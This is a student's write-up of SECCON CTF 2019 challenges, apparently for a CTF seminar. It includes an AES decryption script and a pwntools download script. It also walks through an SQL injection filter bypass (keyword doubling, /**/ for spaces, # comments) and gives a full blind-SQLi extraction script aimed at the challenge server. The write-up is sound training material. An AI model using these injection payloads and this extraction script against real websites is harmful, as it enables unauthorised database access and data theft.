]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/tortagel/seccon19.md
Fix typos
[pub/jan/ctf-seminar.git] / writeups / tortagel / seccon19.md
1 # SECCON CTF 2019
2
3 ## Retrospective
4
5 Overall I am satisfied because I managed to solve two challenges. I played about 9 hours on saturday and really had fun on it. But I also looked at quiet a view challenges where I had no idea what to do. Anyway, I learned many new things and I am quite motivated for the next CTF competitions.
6
7 ## Solved challenges
8
9 ### Welcome
10
11 Nothing to say haha :D
12
13 ### coffee_break
14
15 First I have to say, I was not the first in the team who solved this challenge, `@devnull` added the flag abut half a minute before I added the flag and received the message: `You already solved this`.
16
17 Given was a python script which encrypts given strings and the flag encrypted with this script. The challenge wasn't really difficult, it was just some easy reversing of the encryption function and the flag could be decrypted.
18
19 The developed script:
20
21 ``` python
22 #!/usr/bin/python2
23 from Crypto.Cipher import AES
24 from base64 import b64decode
25
26 key = "SECCON"
27 key2 = "seccon2019"
28 encrypted = "FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905"
29
30 cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
31 text = cipher.decrypt(b64decode(encrypted))
32
33 flag = ""
34 for i in range(len(text)):
35         char = 95 + ord(text[i]) - (ord(key[i % len(key)]) - 0x20)
36         if char > ord('}'):
37                 char = char % 95
38         flag += chr(char)
39
40 print(flag)
41 ```
42
43 Flag: `SECCON{Success_Decryption_Yeah_Yeah_SECCON}`
44
45 ### web_search
46
47 This was an interesting challenge in my opinion, not that hard, but fun. I solved it like a blind SQL injection, but afterwards I saw it actually wasn't a blind SQLi, just a normal SQLi, however, it worked also this way :D
48
49 Given was an articles website with a search box on the top and the search results below, nothing special. I started by entering some SQL commands like `'or 1=1--` in the search box. The handy part was, after applying the search, the input changed to the accepted search input. So in this case it changed to `'1=1--`, the `or` was removed an also the whitespace. From the IntroSec course I remembered the challenge where SQL commands were replaced by an empty string and `/**/` instead of blanks, so I tried `'OorR/**/1=1--`. And yes, the remaining part was `'OR/**/1=1--`, but still an error, so I replaced `--` with `#` to `'OorR/**/1=1#` and it worked!
50
51 On the bottom of the website an article `FLAG` appeared:
52
53 ```
54 The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!
55 ```
56
57 So the first part was done. I am not sure why I did not think about an `union` at this point, maybe I just wanted that it is a blind SQL injection :D So i took the script from the IntroSec blind SQLi challenge an adjusted it to this challenge.
58
59 First I tried to find something in the `information_schema.tables` table, but this throw always an error, no idea why. So I just wrote `SELECT * FROM flag` and hoped it works and yes it did. The only remaining problem was, that all commas were replaced by an empty string, so I couldn't use `MID` or `SUBSTRING`, but after some researching I found the solution, `SUBSTRING` can be used like `SUBSTRING(str FROM pos FOR len)`. Then i just had to wait while the rest of the flag came in: `You_Win_Yeah}`.
60
61 The developed script:
62
63 ``` python
64 #!/usr/bin/python3
65 import requests
66 import string
67 import sys
68
69 URL = 'http://web-search.chal.seccon.jp/?q='
70
71 def oracle(s, query):
72         response = s.post(URL + query)
73         return "No result" not in response.text;
74
75 chars = string.ascii_letters + "!{_}"
76 s = requests.Session()
77
78 for n in range(50):
79                 for c in chars:
80                         # "xxx'OorR/**/BINARY'{char}'=SUBSTRING((SELECT/**/*/**/FROM/**/flag)FROM/**/{pos}/**/FOorR/**/1)#"
81                         payload = "xxx%27OorR%2F%2A%2A%2FBINARY%27{char}%27%3DSUBSTRING%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2Fflag%29FROM%2F%2A%2A%2F{pos}%2F%2A%2A%2FFOorR%2F%2A%2A%2F1%29%23"
82                         payload = payload.format(char=c, pos=n)
83                         if oracle(s, payload):
84                                 sys.stdout.write(c)
85                                 sys.stdout.flush()
86                                 break
87
88 ```
89
90 Flag: `SECCON{Yeah_Sqli_Success_You_Win_Yeah}`
91
92 ## Not solved challenges
93
94 ### Option-Cmd-U
95
96 Given was a website `http://ocu.chal.seccon.jp:10000/index.php` where we can enter URLs to display their source code. In the source code of the website itself was a link to the php script and the info, that the flag is in /flag.php which permits access only from internal network. From the php script we see, that it has to be a `http` address and the hostname cannot be `nginx`. So the goal would be finding an address which will be accepted anyway.
97
98 I tried quiet a view URLs and searched online for something helpful, but wasn't really lucky. So i decided to look in the meantime to some other challenges, but later it was already solved by `@Smashing` :)
99
100 ### Sandstorm
101
102 Given was a picture with the text:
103
104 ``` text
105 Hi guys,
106 My name is Adam.
107
108 I've created yet another stegano.
109 Can you find hidden message?
110 ```
111
112 I opened the picture with the tool Stegsolve and played around for a while, but I found nothing and had not really an idea what todo.
113
114 ### lazy
115
116 Given was just a hostname and the port: `lazy.chal.seccon.jp 33333`.
117
118 `@HaH__` solved already a part of the challenge, so the login credentials were already known.
119
120 I connected with netcat, logged in and found an entry where the binary was send, directly in the command line. I wrote the following script to write the binary data directly to a file:
121
122 ``` python
123 from pwn import remote
124
125 p = remote("lazy.chal.seccon.jp", 33333)
126
127 print(p.recv().decode())
128 print(p.recv().decode())
129 p.sendline("2")
130 print(p.recv().decode())
131 p.sendline("_H4CK3R_")
132 print(p.recv().decode())
133 print(p.recv().decode())
134 p.sendline("3XPL01717")
135 print(p.recv().decode())
136 print(p.recv().decode())
137 p.sendline("4")
138 print(p.recv().decode())
139 print(p.recv().decode())
140 p.sendline("lazy")
141 f = open('/root/ctf/lazy/lazy', 'wb')
142 f.write(p.recv())
143 f.write(p.recv())
144 f.write(p.recv())
145 f.write(p.recv())
146 f.write(p.recv())
147 f.close()
148 ```
149
150 Afterwards i just removed the first text lines from the file manually, executed it and it worked. I looked for a wile at the source code with ghidra and assumed there must be something with an overflow to get a shell, but I did not have more time after that.